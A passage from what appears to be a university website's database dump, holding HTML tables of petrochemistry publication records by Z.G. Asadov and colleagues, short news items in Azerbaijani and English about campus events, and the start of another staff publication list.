style=\"background:undefined \">Исмаилова Х.Р.</p><p style=\"background:undefined \">Ахмедова Г.А.</p><h2>Касимов А.А.</h2></td><td width=\"112\"><h2>&nbsp;</h2></td><td width=\"72\"><h2>1999</h2></td><td width=\"121\"><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">50.</p></td><td width=\"160\"><h2>Частично гидрофобизированные полимерные ПАВ на основе акриловой кислоты, окиси пропилена&nbsp; и спиртов</h2></td><td width=\"160\"><h2>Первая Бакинская Международная Конференция по нефтехимии «Новые процессы, технологии, материалы. Баку-94»</h2></td><td width=\"160\"><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Насибова Ш.М.</p><p style=\"background:undefined \">Ахмедова Г.А.</p><p style=\"background:undefined \">Касимов А.А.</p><p style=\"background:undefined \">Алиев В.С.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p style=\"background:undefined \">1994</p></td><td width=\"121\"><p style=\"background:undefined \">С.201</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">51.</p></td><td width=\"160\"><h2>Железосодержащие водорастворимые&nbsp; акриловые сополимеры</h2></td><td width=\"160\"><h2>Первая Бакинская Международная Конференция по нефтехимии «Новые процессы, технологии, материалы. Баку-94»</h2></td><td width=\"160\"><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Насибова Ш.М.</p><p style=\"background:undefined \">Новрузов О.Н.</p><p style=\"background:undefined \">Кулиев А.Д.</p><p style=\"background:undefined \">Гусейнова В.А.</p><p style=\"background:undefined \">Гамзаева Ш.М.</p><p style=\"background:undefined \">Алиев В.С.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p style=\"background:undefined \">1994</p></td><td width=\"121\"><p style=\"background:undefined \">С.215</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">52.</p></td><td width=\"160\"><h2>Очистка водной поверхности от пленок нефтяного происхождения</h2></td><td width=\"160\"><h2>Экологические проблемы Азербайджана. Материалы научно-практической конференции по экологическим проблемам Азербайджана. III выпуск</h2></td><td width=\"160\"><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Исмаилова Х.Р.</p><p style=\"background:undefined \">Ахмедова Г.А.</p><p style=\"background:undefined \">Эюбова С.К.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p style=\"background:undefined \">1994</p></td><td width=\"121\"><p style=\"background:undefined \">С.113-114</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">53.</p></td><td width=\"160\"><h2>Композиция для удаления нефтяных пленок с поверхности водоемов</h2></td><td width=\"160\"><h2>Материалы научно-практической. конференции «Экология-93». Сумгаит</h2></td><td width=\"160\"><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Исмаилова Х.Р.</p><p style=\"background:undefined \">Ахмедова Г.А.</p><p style=\"background:undefined \">Алиев В.С.</p></td><td width=\"112\"><h2>Сумгаит</h2></td><td width=\"72\"><p style=\"background:undefined \">1993</p></td><td width=\"121\"><p style=\"background:undefined \">С.13</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">54.</p></td><td width=\"160\"><h2>Oil-collecting monocomponent reagents</h2></td><td width=\"160\"><h2>Third Baku International Congress</h2><p style=\"background:undefined \">«Energy, Ecology, Economy».&nbsp; Abstracts</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"160\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p style=\"background:undefined \">Ahmadova G.A.</p><p style=\"background:undefined \">Eyubova S.K.</p><p style=\"background:undefined \">Ismailova Kh.R.</p></td><td width=\"112\"><h2>Baku</h2></td><td width=\"72\"><p style=\"background:undefined \">1995</p></td><td width=\"121\"><p style=\"background:undefined \">P.87</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">55.</p></td><td width=\"160\"><h2>Исследование собирания тонких нефтяных пленок с поверхности воды под воздействием нефтесобирающей и нефтедиспергирующей копозиции</h2></td><td width=\"160\"><h2>Азербайджанское нефтяное хозяйство</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Исмаилова Х.Р.</p><p style=\"background:undefined \">Ахмедова Г.А.</p><p style=\"background:undefined \">Алиев В.С.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p style=\"background:undefined \">1995</p></td><td width=\"121\"><p style=\"background:undefined \">№7-8. С.103-107</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">56.</p></td><td width=\"160\"><h2>Новые поверхностно-активные сополимеры, содержащие одновременно анионо-и катионактивные, а также неионогенные функциональные группы</h2></td><td width=\"160\"><h2>II Бакинская Международная нефтехимическая конференция посвящ. памяти акад. Ю.Г. Мамедалиева. Тезисы докладов</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Ахмедова Г.А.</p><p style=\"background:undefined \">Барзегар Зенуз М.</p><p style=\"background:undefined \">Эюбова С.К.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p style=\"background:undefined \">1996</p></td><td width=\"121\"><p style=\"background:undefined \">С.47</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">57.</p></td><td width=\"160\"><h2>Изучение межфазного распределения нефтесобирающей и диспергирующей композиции и влияния минерализации и рН воды на ее действие</h2></td><td width=\"160\"><h2>Азербайджанское нефтяное хозяйство</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Исмаилова Х.Р.</p><p style=\"background:undefined \">Ахмедова Г.А.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p style=\"background:undefined \">1996</p></td><td width=\"121\"><p style=\"background:undefined \">№3. С.56-59</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">58.</p></td><td width=\"160\"><h2>Способ изоляции поглощающего пласта при бурении скважины</h2></td><td width=\"160\"><h2>Заявка Азербайджанской Республики 96/000704 от 26/ VI 1995. Положит. решение от 20/1Х 1999.Е 21В 33/438</h2></td><td width=\"160\"><h2>Ахундов Ф.А.</h2><h2>Асадов З.Г.</h2><h2>Ага-заде А.Д.</h2></td><td width=\"112\"><h2>Азербайджан</h2></td><td width=\"72\"><h2>1999</h2></td><td width=\"121\"><p style=\"background:undefined \">№4</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">59.</p></td><td width=\"160\"><h2>Нефтесобирающие олигомеры</h2></td><td width=\"160\"><h2>Материалы Международного симпозиума Азербайджан-Башкортостан «Проблемы экологии в нефтепереработке и нефтехимии»</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Ахмедова Г.А.</p><p style=\"background:undefined \">Исмаилова Х.Р.</p><h2>Эюбова С.К.</h2></td><td width=\"112\"><h2>Россия,</h2><h2>Уфа</h2></td><td width=\"72\"><h2>1995</h2></td><td width=\"121\"><p style=\"background:undefined \">Ч.А.С.4</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">60.</p></td><td width=\"160\"><h2>Phosphation of&nbsp; a-olefines</h2></td><td width=\"160\"><h2>11-th Iranian Chemistry and Chemical Engineering Congress</h2></td><td width=\"160\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p style=\"background:undefined \">Barzegar Zenouz M.</p></td><td width=\"112\"><h2>Iran,</h2><h2>Tehran</h2></td><td width=\"72\"><p style=\"background:undefined \">1996</p></td><td width=\"121\"><p style=\"background:undefined \">P.17</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">61.</p></td><td width=\"160\"><h2>New oil-collecting and dispergating reagents</h2></td><td width=\"160\"><h2>2-nd Iranian Congress of Chemical Engineering&nbsp; Book of Extended Abstracts.&nbsp; Tehran University of Technology</h2></td><td width=\"160\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p style=\"background:undefined \">Ahmadova G.A.</p><p style=\"background:undefined \">Barzegar Zenouz M.</p></td><td width=\"112\"><h2>Iran,</h2><h2>Tehran</h2></td><td width=\"72\"><p style=\"background:undefined \">1997</p></td><td width=\"121\"><p style=\"background:undefined \">P.258-259</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">62.</p></td><td width=\"160\"><h2>New copolymers of polyelectrolyte nature based on 4-vinilpyridine and acrylic acid</h2></td><td width=\"160\"><h2>2-nd Iranian Congress of Chemical Engineering&nbsp; Book of Extended Abstracts.&nbsp; Tehran University of Technology</h2></td><td width=\"160\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p style=\"background:undefined \">Barzegar Zenouz M.</p></td><td width=\"112\"><h2>Iran,</h2><h2>Tehran</h2></td><td width=\"72\"><p style=\"background:undefined \">1997</p></td><td width=\"121\"><p style=\"background:undefined \">P.303-304</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">63.</p></td><td width=\"160\"><h2>Synthesis&nbsp; and study of new water-soluble (co)polymers of polyelectrolyte nature based on amines, acrylic acid and epoxy compounds</h2></td><td width=\"160\"><h2>Journal of Engineering&nbsp;&nbsp; and Architectural Faculty of Osmangazi University, Eskishehir</h2></td><td width=\"160\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p style=\"background:undefined \">&nbsp;Nourbakhsh M.</p><p style=\"background:undefined \">Barzegar Zenouz M. Akhmedova G.A.</p></td><td width=\"112\"><h2>Turkey, Eskishehir</h2></td><td width=\"72\"><p style=\"background:undefined \">1996</p></td><td width=\"121\"><p style=\"background:undefined \">Vol. IX, №2, P. 41-51.</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">64.</p></td><td width=\"160\"><h2>New water-soluble polymers based on polyisobutylene</h2></td><td width=\"160\"><h2>Journal of Engineering and Architectural Faculty of Osmangazi University, Eskiseher</h2></td><td width=\"160\"><h2>Alosmanov R.M.</h2><p style=\"background:undefined \">Nourbakhsh M.</p><p style=\"background:undefined \">Azizov A.A.</p><p style=\"background:undefined \">Akhmedov V.M</p><p style=\"background:undefined \">Asadov Z.H.</p></td><td width=\"112\"><h2>Turkey,</h2><h2>Eskishehir</h2></td><td width=\"72\"><p style=\"background:undefined \">1996</p></td><td width=\"121\"><p style=\"background:undefined \">Vol. IX, №2, P. 33-40</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">65.</p></td><td width=\"160\"><h2>Сополимеры оксипропилакрилата с акрилатными солями-водорастворимые нефтевытесняющие ПАВ</h2></td><td width=\"160\"><h2>Азербайджанское нефтяное хозяйство</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p style=\"background:undefined \">Ахмедова Г.А.</p><p style=\"background:undefined \">Алиев В.С.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p style=\"background:undefined \">1997</p></td><td width=\"121\"><p style=\"background:undefined \">№4. С.48-51,58</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">66.</p></td><td width=\"160\"><h2>Исследование&nbsp; нефтевытесняющей способности модифицированных полимеров на основе хлорфосфорилированного полиизобутилена</h2></td><td width=\"160\"><h2>Ученые записки Азерб. Гос. Нефтяной Академии</h2></td><td width=\"160\"><h2>Алосманов Р.М.</h2><p style=\"background:undefined \">Азизов А.А.</p><p style=\"background:undefined \">Ахмедов В.М.</p><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Ибрагимов А.Д.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p style=\"background:undefined \">1997</p></td><td width=\"121\"><p style=\"background:undefined \">№2. С.160-162,166</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">67.</p></td><td width=\"160\"><h2>Synthesis of (chlor)oxypropylated derivatives of higher monocarboxylic&nbsp; acids</h2></td><td width=\"160\"><h2>8-th International Sympozium on Science and Technology of oil, gaz and Petrochemistry. National Оil Company of&nbsp; Iran. Tehran</h2></td><td width=\"160\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p style=\"background:undefined \">Akhmedova G.A.</p><h2>Barzegar Zenouz M.</h2></td><td width=\"112\"><h2>Iran,</h2><h2>Tehran</h2></td><td width=\"72\"><p style=\"background:undefined \">1997</p></td><td width=\"121\"><p style=\"background:undefined \">P.30</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">68.</p></td><td width=\"160\"><h2>Фосфатированные олигомеры на основе эпоксисоединений</h2></td><td width=\"160\"><h2>Шестая Международная Конференция по химии и физико-химии олигомеров. Тезисы докладов</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Ахмедова Г.А.</p><p style=\"background:undefined \">Барзегар Зенуз М.</p></td><td width=\"112\"><h2>Россия,</h2><h2>Казань</h2></td><td width=\"72\"><p style=\"background:undefined \">1997</p></td><td width=\"121\"><p style=\"background:undefined \">Т.1.С.276</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">69.</p></td><td width=\"160\"><h2>Хлорирование полиизобутилена в присутствии малеинового ангидрида</h2></td><td width=\"160\"><h2>Ученые записки Азерб. Гос. Нефтяной Академии</h2></td><td width=\"160\"><h2>Алосманов Р.М.</h2><p style=\"background:undefined \">Азизов А.А.</p><p style=\"background:undefined \">Ахмедов В.М.</p><h2>Асадов З.Г.</h2></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><h2>1997</h2></td><td width=\"121\"><p style=\"background:undefined \">№3. С.240</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">70.</p></td><td width=\"160\"><h2>Kinetic regularities of the reaction of polymethacrylic acid (PMAA) oxypropylation</h2></td><td width=\"160\"><h2>Azerbaijan Chemical Journal</h2></td><td width=\"160\"><p style=\"background:undefined \">Asadov Z.G.</p><p style=\"background:undefined \">Nasibova Sh.M</p><p style=\"background:undefined \">Yusubov A.Yu</p><p style=\"background:undefined \">Ahmedova G.A.</p></td><td width=\"112\"><h2>Baku</h2></td><td width=\"72\"><p style=\"background:undefined \">1998</p></td><td width=\"121\"><p style=\"background:undefined \">№1.P.15-19</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">71.</p></td><td width=\"160\"><h2>Synthesis&nbsp; and polymerization of oxypropyl ester of acrylic acid</h2></td><td width=\"160\"><h2>Azerbaijan Chemical Journal</h2></td><td width=\"160\"><p style=\"background:undefined \">Asadov Z.G.</p><p style=\"background:undefined \">Ahmedova G.A.</p><p style=\"background:undefined \">Aga-zade A.D.</p></td><td width=\"112\"><h2>Baku</h2></td><td width=\"72\"><p style=\"background:undefined \">1998</p></td><td width=\"121\"><p style=\"background:undefined \">№1.P.72-75</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">72.</p></td><td width=\"160\"><h2>Новые олигомерные и полимерные реагенты для удаления нефтяных пленок с водной поверхности</h2></td><td width=\"160\"><h2>Тезисы материалов научно-практической конференции «Пути совершенствования Нефтяной науки в Азербайджане», посвящ. 70-летнему юбилею акад. А.Х. Мирзаджанзаде</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Насибова Ш.М.</p><p style=\"background:undefined \">Ахмедова Г.А.</p><p style=\"background:undefined \">Барзегар Зенуз М.</p><p style=\"background:undefined \">Исмаилова Х.Р.</p><p style=\"background:undefined \">Эюбова С.К.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p style=\"background:undefined \">1998</p></td><td width=\"121\"><p style=\"background:undefined \">С.63</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">73.</p></td><td width=\"160\"><h2>Новые неионогенные ПАВ на основе пеларгоновой кислоты и эпоксидов</h2></td><td width=\"160\"><h2>Тезисы докладов III Бакинской Международной Мамедалиевской нефтехимической конференции</h2></td><td width=\"160\"><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Ахмедова Г.А.</p><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Барзегар Зенуз М.</p><p style=\"background:undefined \">Исмаилова Х.Р.</p><h2>Эюбова С.К.</h2></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p style=\"background:undefined \">1998</p></td><td width=\"121\"><p style=\"background:undefined \">С.44</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">74.</p></td><td width=\"160\"><h2>Синтез ПАВ на основе NH<sub>2</sub>-содержащих производных высших алканов и эпоксисоединений</h2></td><td width=\"160\"><h2>Тезисы докладов III Бакинской Международной Мамедалиевской нефтехимической конференции</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Насибова Ш.М.</p><p style=\"background:undefined \">Ахмедова Г.А.</p><p style=\"background:undefined \">Барзегар Зенуз М.</p><p style=\"background:undefined \">Исмаилова Х.Р.</p><p style=\"background:undefined \">Эюбова С.К.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p style=\"background:undefined \">1998</p></td><td width=\"121\"><p style=\"background:undefined \">С.81</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">75.</p></td><td width=\"160\"><h2>Кинетика радикального акцептирования при хлоркарбоксилировании полиизобутилена</h2></td><td width=\"160\"><h2>Тезисы докладов III Бакинской Международной Мамедалиевской нефтехимической конференции</h2></td><td width=\"160\"><p style=\"background:undefined \">Алосманов Р.М.</p><p style=\"background:undefined \">Азизов А.А.</p><p style=\"background:undefined \">Ахмедов В.М.</p><h2>Асадов З.Г.</h2><p style=\"background:undefined \">&nbsp;</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p style=\"background:undefined \">1998</p></td><td width=\"121\"><p style=\"background:undefined \">С.319</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">76.</p></td><td width=\"160\"><h2>Исследование&nbsp; нефтевытесняющих свойств фосфатированных олигомеров с различной длиной цепи на основе гетероциклических соединений</h2></td><td width=\"160\"><h2>Азербайджанское нефтяное хозяйство</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Ахмедова Г.А.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p style=\"background:undefined \">1998</p></td><td width=\"121\"><p style=\"background:undefined \">№11. С.47-51</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">77.</p></td><td width=\"160\"><h2>Исследование влияния длины цепи олигомеров на основе эпоксисоединений на их нефтесобирающую способность</h2></td><td width=\"160\"><h2>Нефть и газ. Известия высших учебных заведений</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Ахмедова Г.А.</p><h2>Барзегар Зенуз М.</h2></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><h2>1998</h2></td><td width=\"121\"><p style=\"background:undefined \">№3-4, С. 38-42</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">78.</p></td><td width=\"160\"><h2>Реакционноспособные олигомеры и полимеры. Синтез и применение (монография)</h2></td><td width=\"160\"><h2>Институт нефтехимических процессов (ИНХП) АН Азербайджана</h2></td><td width=\"160\"><h2>Азизов А.Г.</h2><p style=\"background:undefined \">Абдуллаев Я.Г.</p><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Везиров Ш.С.</p><p style=\"background:undefined \">Гаджиев Т.А.</p><p style=\"background:undefined \">Насиров Ф.А.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><h2>1998</h2></td><td width=\"121\"><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">79.</p></td><td width=\"160\"><h2>Водорастворимые поверхностно-активные акриловые (со)олигомеры и (со)полимеры с оксипропильными фрагментами</h2></td><td width=\"160\"><h2>В кн.:Синтез и применение реакционноспособных олигомеров и полимеров. ИНХП АН Азербайджана</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><h2>Ахмедова Г.А.</h2></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><h2>1998</h2></td><td width=\"121\"><p style=\"background:undefined \">С.219-246</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">80.</p></td><td width=\"160\"><h2>Poliakril turşusunun oksipropil törəmələrinin alınması üsulu</h2></td><td width=\"160\"><h2>Azərbaycan Respublikası Patenti</h2><h2>P 990025</h2></td><td width=\"160\"><h2>Əsədov Z.H.</h2><h2>Əliyev V.S.</h2><h2>Ağa-zadə Ə.D.</h2><h2>Nəsibova Ş.M.</h2><h2>Qasımov A.Ə.</h2><h2>Əhmədova G.A.</h2></td><td width=\"112\"><h2>Азярбайъан'),(1564,955,'en','Assembly of Science and Art Holds 66th Meeting','On April 18, 2016, the 66th meeting of the Assembly of Science and Art was held on the downtown campus of Khazar University. Prof. Hamlet Isaxanli, Founder of the University and Chairman of its Board of Directors and Trustees, opened the meeting and introduced the guest lecturer, Professor Istvan Zimonyi (Szeged University, Hungary). ','<p>On\r\nApril 18, 2016, the 66th meeting of the Assembly of Science and Art was held on\r\nthe downtown campus of Khazar University. Prof. Hamlet Isaxanli, Founder of the\r\nUniversity and Chairman of its Board of Directors and Trustees, opened the\r\nmeeting and introduced the guest lecturer, Professor Istvan Zimonyi (Szeged\r\nUniversity, Hungary). </p>\r\n<p>Then\r\nProfessor Zimonyi spoke about “Nomads in Europe: Magyars and Turks in shaping\r\nthe early medieval European history” in English, and Dr. Farda Asadov\r\ntranslated his speech for the audience. The lecture was followed by a\r\ndiscussion in which the following scholars participated: Hamlet Isaxanli\r\n(Khazar University), Gullu Yologlu (Ethnography Institute of ANAS), Faiq\r\nAlakbarov (Institute of Philosophy and Law, ANAS), Ismikhan Osmanli\r\n(Ethnography Institute of ANAS), Shahin Mustafayev (Orientalism Institute of\r\nANAS), Sabina Nemanzada (Manuscripts Institute of ANAS), Asif Bayramov\r\n(Orientalism Institute of ANAS), Shahin Fazil (History Institute of ANAS),\r\nSevda Suleymanova (Orientalism Institute of ANAS), and Farhad Guliyev\r\n(Archeology Institute of ANAS). </p>\r\n<p>At\r\nthe end of the event, the guest speaker presented many of his books to the\r\nKhazar University library. Prof. Isaxanli thanked him on behalf of himself as\r\nwell as the well-known scholars of Azerbaijan.&nbsp;</p>'),(1565,974,'az','Tələbə Məclisinin debat təlimi keçirildi','2016-cı il aprelin 13-də Tələbə Məclisinin təşkilatçılığı ilə DVC-Azərbaycanın DİA-dakı təmsilçiləri Xəzər Universiteti tələbələri üçün debat təlimi keçirdilər.','<p>2016-cı il aprelin 13-də Tələbə Məclisinin təşkilatçılığı ilə DVC-Azərbaycanın\r\nDİA-dakı təmsilçiləri Xəzər Universiteti tələbələri üçün debat təlimi keçirdilər.\r\nTəlimdə debat yaranması, Azərbaycanda debat yarışlarının təşkili və inkişafı\r\nhaqqında geniş informasiya verildi. Təlimdə fəal iştirak edən tələbələr Xəzər Universitetində\r\nyeni yaradılmış “Debat klubu”na üzv seçildilər.</p>\r\n<p>Tələbə Məclisi öz seminarlarını, sosial tədbirlərini mütəmadi olaraq\r\ndavam etdirir və yaxın gələcəkdə bir çox böyük, sosial, tələbə həyatını zənginləşdirən\r\ntədbirlər həyata keçirməyi planlaşdırır.</p>'),(1566,974,'en','Student Union Holds Debate Training','On April 13, 2016, representatives of DVC-Azerbaijan held a debate training for students of Khazar University. ','<p>On April 13, 2016, representatives of DVC-Azerbaijan\r\nheld a debate training for students of Khazar University. The training covered\r\nthe history of debate, the organization of debates in Azerbaijan, and their\r\ndevelopment. Students who actively participated in the training were selected\r\nas members of Khazar University’s new Debate Club. </p>\r\n<p>The Student Union continues to organize seminars and\r\nsocial events. It plans to hold several more events to enrich students’ lives\r\nin the near future.&nbsp;</p>'),(1567,975,'az','Təsisçinin sözlərinə yazılmış mahnılar bəstəkarın yubileyində səsləndirildi','2016-cı il aprelin 18-də R.Behbudov adına Dövlət Mahnı Teatrında görkəmli bəstəkar, Azərbaycan Respublikasının Əməkdar incəsənət xadimi Tahir Əkbərin 70 illiyinə həsr olunmuş yaradıcılıq gecəsi keçirildi. Tədbirdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı da iştirak edirdi. ','<p>2016-cı il aprelin 18-də R.Behbudov adına Dövlət Mahnı Teatrında görkəmli\r\nbəstəkar, Azərbaycan Respublikasının Əməkdar incəsənət xadimi Tahir Əkbərin 70 illiyinə\r\nhəsr olunmuş yaradıcılıq gecəsi keçirildi. Tədbirdə Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı da iştirak\r\nedirdi. H.İsaxanlı çıxış edərək, şair, bəstəkar və müğənni arasında əməkdaşlıq\r\nideyaları və Tahir Əkbərin yaradıcılığı haqqında danışdı.</p>\r\n<p>Konsert proqramında sözləri Hamlet İsaxanlı və musiqisi Tahir Əkbərə\r\nməxsus olan&nbsp; iki mahnı səsləndirildi. Azər\r\nZeynalov “Mənə ayrılan vaxt” və ya “ Rübailər” adı ilə məşhur olan mahnını,\r\nGülyanaq Məmmədova isə “ Məndən sənə yar olmaz “ adlı mahnını&nbsp; ifa etdilər.</p>'),(1568,975,'en','Song with Founder’s Lyrics Performed at Composer’s Jubilee Celebration ','On April 18, 2016, a jubilee celebration was held in the R.Behbudov State Song Theater to mark the 70th birthday of Meritorious Man of Arts of the Azerbaijan Republic, Tahir Akbar. Prof. Hamlet Isaxanli, founder of Khazar University and Chairman of its Board of Directors and Trustees, was among the participants in the event. ','<p>On April 18, 2016, a jubilee celebration was held in the R.Behbudov\r\nState Song Theater to mark the 70th birthday of Meritorious Man of Arts of the\r\nAzerbaijan Republic, Tahir Akbar. Prof. Hamlet Isaxanli, founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, was among the\r\nparticipants in the event. He made a speech about Tahir Akbar’s creative\r\nactivity as well as ideas for partnership among poets, composers and singers. </p>\r\n<p>As part of the concert program at the event, two songs were performed\r\nthat were written with lyrics by Hamlet Isaxanli and set to music by Tahir\r\nAkbar: “Mənə ayrılan vaxt,” also known as “Rübailər” was performed by Azer\r\nZeynalov, and “Məndən sənə yar olmaz” was performed by Gulyanaq Mammadova.&nbsp;</p>'),(1569,983,'en','Elmira Mirzayeva','Elmira Mirzayeva','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"204\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"97\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"89\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"168\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"78\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"59\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>Valideynliyin perinatal mədəniyyəti.<strong>&nbsp;</strong></p></td><td width=\"97\"><p>Məqalə<strong>&nbsp;</strong></p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Ailə, Qadın, Uşaq jurnalı N-3<strong>&nbsp;</strong></p></td><td width=\"78\"><p>2008ci il sentyabr</p><p><strong>&nbsp;</strong></p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>Biz və uşaqlarımız.</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Ailə, Qadın, Uşaq jurnalı N-1</p></td><td width=\"78\"><p>2007ci il oktyabr.</p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>Ümüd və inam olanda</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Azərbaycan Müəllimi qəzeti.</p></td><td width=\"78\"><p>28 aprel 1998ci il</p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>Arzular çin olanda</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Məktəb psixoloqu qəzeti.</p></td><td width=\"78\"><p>16-30 aprel 2007 ci il</p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>&nbsp;Məktəb psixoloqu və onun iş planı.</p></td><td width=\"97\"><p>Məqalə<strong>&nbsp;</strong></p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Məktəb psixoloqu qəzeti.</p></td><td width=\"78\"><p>17-27- fevral 2007ci il</p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>“Şagirdlərlə düzgün ünsiyyət qurmaq üçün&nbsp; psixoloqların yardımı vacibdir”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>“Vətəndaş cəmiyyəti” jurnalı</p></td><td 